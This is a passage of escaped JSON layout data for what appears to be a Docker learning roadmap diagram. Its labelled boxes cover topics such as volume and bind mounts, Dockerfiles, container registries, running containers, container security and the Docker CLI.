\"16776960\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"132\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"83\",\n                  \"y\": \"12\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Data Persistence\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9481\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"65\",\n          \"measuredW\": \"309\",\n          \"measuredH\": \"44\",\n          \"w\": \"309\",\n          \"h\": \"44\",\n          \"x\": \"1493\",\n          \"y\": \"1411\",\n          \"properties\": {\n            \"controlName\": \"100-data-persistence:ephemeral-container-fs\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"309\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"242\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"34\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Ephemeral container filesystem\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9482\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"66\",\n          \"measuredW\": \"152\",\n          \"measuredH\": \"44\",\n          \"w\": \"152\",\n          \"h\": \"44\",\n          \"x\": \"1493\",\n          \"y\": \"1460\",\n          \"properties\": {\n            \"controlName\": \"101-data-persistence:volume-mounts\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"152\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"118\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"17\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Volume Mounts\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9483\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"67\",\n          \"measuredW\": \"152\",\n          \"measuredH\": \"44\",\n          \"w\": \"152\",\n          \"h\": \"44\",\n          \"x\": \"1650\",\n          \"y\": \"1461\",\n          \"properties\": {\n            \"controlName\": \"102-data-persistence:bind-mounts\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"152\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"97\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"27\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Bind Mounts\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9484\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"68\",\n          \"measuredW\": \"340\",\n          \"measuredH\": \"50\",\n          \"w\": \"340\",\n          \"h\": \"50\",\n          \"x\": \"643\",\n          \"y\": \"1433\",\n          \"properties\": {\n            \"controlName\": \"105-using-third-party-images\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"340\",\n                  \"h\": \"50\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16776960\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"260\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"40\",\n                  \"y\": \"12\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Using 3rd Party Container Images\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9485\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"69\",\n          \"measuredW\": \"298\",\n          \"measuredH\": \"50\",\n          \"w\": \"298\",\n          \"h\": \"50\",\n          \"x\": \"1075\",\n          \"y\": \"1314\",\n          \"properties\": {\n            \"controlName\": \"103-docker-basics\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"298\",\n                  \"h\": \"50\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16776960\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"131\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"83\",\n                  \"y\": \"13\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Basics of Docker\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9486\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"70\",\n          \"measuredW\": \"272\",\n          \"measuredH\": \"44\",\n          \"w\": \"272\",\n          \"h\": \"44\",\n          \"x\": \"643\",\n          \"y\": \"1511\",\n          \"properties\": {\n            \"controlName\": \"100-using-third-party-images:databases\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"272\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"83\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"94\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Databases\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9487\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"71\",\n          \"measuredW\": \"272\",\n          \"measuredH\": \"44\",\n          \"w\": \"272\",\n          \"h\": \"44\",\n          \"x\": \"643\",\n          \"y\": \"1559\",\n          \"properties\": {\n            \"controlName\": \"101-using-third-party-images:interactive-test-environments\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"272\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"228\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"22\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Interactive Test Environments\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9488\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"72\",\n          \"measuredW\": \"272\",\n          \"measuredH\": \"44\",\n          \"w\": \"272\",\n          \"h\": \"44\",\n          \"x\": \"643\",\n          \"y\": \"1607\",\n          \"properties\": {\n            \"controlName\": \"102-using-third-party-images:command-line-utilities\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"272\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"179\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"46\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Command Line Utilities\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9489\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"73\",\n          \"measuredW\": \"338\",\n          \"measuredH\": \"50\",\n          \"w\": \"338\",\n          \"h\": \"50\",\n          \"x\": \"643\",\n          \"y\": \"1681\",\n          \"properties\": {\n            \"controlName\": \"106-building-container-images\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"338\",\n                  \"h\": \"50\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16776960\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"205\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"66\",\n                  \"y\": \"12\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Building Container Images\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9490\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"74\",\n          \"measuredW\": \"272\",\n          \"measuredH\": \"44\",\n          \"w\": \"272\",\n          \"h\": \"44\",\n          \"x\": \"643\",\n          \"y\": \"1756\",\n          \"properties\": {\n            \"controlName\": \"100-building-container-images:dockerfiles\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"272\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"86\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"93\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Dockerfiles\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9491\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"75\",\n          \"measuredW\": \"272\",\n          \"measuredH\": \"44\",\n          \"w\": \"272\",\n          \"h\": \"44\",\n          \"x\": \"643\",\n          \"y\": \"1804\",\n          \"properties\": {\n            \"controlName\": \"101-building-container-images:efficient-layer-caching\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"272\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"168\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"52\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Efficient layer caching\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9492\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"76\",\n          \"measuredW\": \"272\",\n          \"measuredH\": \"44\",\n          \"w\": \"272\",\n          \"h\": \"44\",\n          \"x\": \"643\",\n          \"y\": \"1852\",\n          \"properties\": {\n            \"controlName\": \"102-building-container-images:image-size-and-security\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"272\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"182\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"45\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Image size and security\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9493\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"77\",\n          \"measuredW\": \"298\",\n          \"measuredH\": \"50\",\n          \"w\": \"298\",\n          \"h\": \"50\",\n          \"x\": \"1086\",\n          \"y\": \"1682\",\n          \"properties\": {\n            \"controlName\": \"107-container-registries\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"298\",\n                  \"h\": \"50\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16776960\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"159\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"69\",\n                  \"y\": \"12\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Container Registries\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9494\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"78\",\n          \"measuredW\": \"272\",\n          \"measuredH\": \"44\",\n          \"w\": \"272\",\n          \"h\": \"44\",\n          \"x\": \"1099\",\n          \"y\": \"1607\",\n          \"properties\": {\n            \"controlName\": \"100-container-registries:dockerhub\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"272\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"84\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"94\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Dockerhub\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9495\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"79\",\n          \"measuredW\": \"272\",\n          \"measuredH\": \"44\",\n          \"w\": \"272\",\n          \"h\": \"44\",\n          \"x\": \"1099\",\n          \"y\": \"1559\",\n          \"properties\": {\n            \"controlName\": \"101-container-registries:dockerhub-alt\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"272\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"231\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"20\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Others (ghcr, ecr, gcr, acr, etc)\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9496\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"80\",\n          \"measuredW\": \"272\",\n          \"measuredH\": \"44\",\n          \"w\": \"272\",\n          \"h\": \"44\",\n          \"x\": \"1099\",\n          \"y\": \"1511\",\n          \"properties\": {\n            \"controlName\": \"102-container-registries:image-tagging-best-practices\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"272\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"231\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"20\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Image Tagging Best Practices\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9497\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"81\",\n          \"measuredW\": \"298\",\n          \"measuredH\": \"50\",\n          \"w\": \"298\",\n          \"h\": \"50\",\n          \"x\": \"1470\",\n          \"y\": \"1852\",\n          \"properties\": {\n            \"controlName\": \"108-running-containers\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"298\",\n                  \"h\": \"50\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16776960\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"153\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"72\",\n                  \"y\": \"12\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Running Containers\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9498\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"82\",\n          \"measuredW\": \"174\",\n          \"measuredH\": \"44\",\n          \"w\": \"174\",\n          \"h\": \"44\",\n          \"x\": \"1625\",\n          \"y\": \"1738\",\n          \"properties\": {\n            \"controlName\": \"100-running-containers:docker-run\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"174\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"83\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"45\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"docker run\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9499\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"83\",\n          \"measuredW\": \"174\",\n          \"measuredH\": \"44\",\n          \"w\": \"174\",\n          \"h\": \"44\",\n          \"x\": \"1625\",\n          \"y\": \"1690\",\n          \"properties\": {\n            \"controlName\": \"101-running-containers:docker-compose\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"174\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"129\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"22\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"docker compose\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9500\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"84\",\n          \"measuredW\": \"273\",\n          \"measuredH\": \"44\",\n          \"w\": \"273\",\n          \"h\": \"44\",\n          \"x\": \"1527\",\n          \"y\": \"1608\",\n          \"properties\": {\n            \"controlName\": \"102-running-containers:runtime-config-options\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"273\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"236\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"20\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Runtime Configuration Options\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9501\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"85\",\n          \"measuredW\": \"298\",\n          \"measuredH\": \"50\",\n          \"w\": \"298\",\n          \"h\": \"50\",\n          \"x\": \"1099\",\n          \"y\": \"2010\",\n          \"properties\": {\n            \"controlName\": \"109-container-security\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"298\",\n                  \"h\": \"50\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16776960\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"142\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"78\",\n                  \"y\": \"12\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Container Security\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9502\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"86\",\n          \"measuredW\": \"219\",\n          \"measuredH\": \"44\",\n          \"w\": \"219\",\n          \"h\": \"44\",\n          \"x\": \"1134\",\n          \"y\": \"1902\",\n          \"properties\": {\n            \"controlName\": \"100-container-security:image-security\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"219\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"116\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"52\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Image Security\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9503\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"87\",\n          \"measuredW\": \"219\",\n          \"measuredH\": \"44\",\n          \"w\": \"219\",\n          \"h\": \"44\",\n          \"x\": \"1134\",\n          \"y\": \"1854\",\n          \"properties\": {\n            \"controlName\": \"101-container-security:runtime-security\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"219\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"131\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"44\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Runtime Security\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9504\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"88\",\n          \"measuredW\": \"267\",\n          \"measuredH\": \"50\",\n          \"w\": \"267\",\n          \"h\": \"50\",\n          \"x\": \"745\",\n          \"y\": \"2010\",\n          \"properties\": {\n            \"controlName\": \"110-docker-cli\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"267\",\n                  \"h\": \"50\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16776960\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"87\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"90\",\n                  \"y\": \"12\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Docker CLI\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9505\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"89\",\n          \"measuredW\": \"122\",\n          \"measuredH\": \"44\",\n          \"w\": \"122\",\n          \"h\": \"44\",\n          \"x\": \"747\",\n          \"y\": \"1936\",\n          \"properties\": {\n            \"controlName\": \"100-docker-cli:images\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"122\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"58\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"32\",\n                  \"y\": \"9\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Images\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9506\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"90\",\n          \"measuredW\": \"126\",\n          \"measuredH\": \"44\",\n          \"w\": \"126\",\n          \"h\": \"44\",\n          \"x\": \"885\",\n          \"y\": \"1936\",\n          \"properties\": {\n            \"controlName\": \"101-docker-cli:containers\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"126\",\n                  \"h\": \"44\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"85\",\n                  \"measuredH\": \"25\",\n                  \"x\": 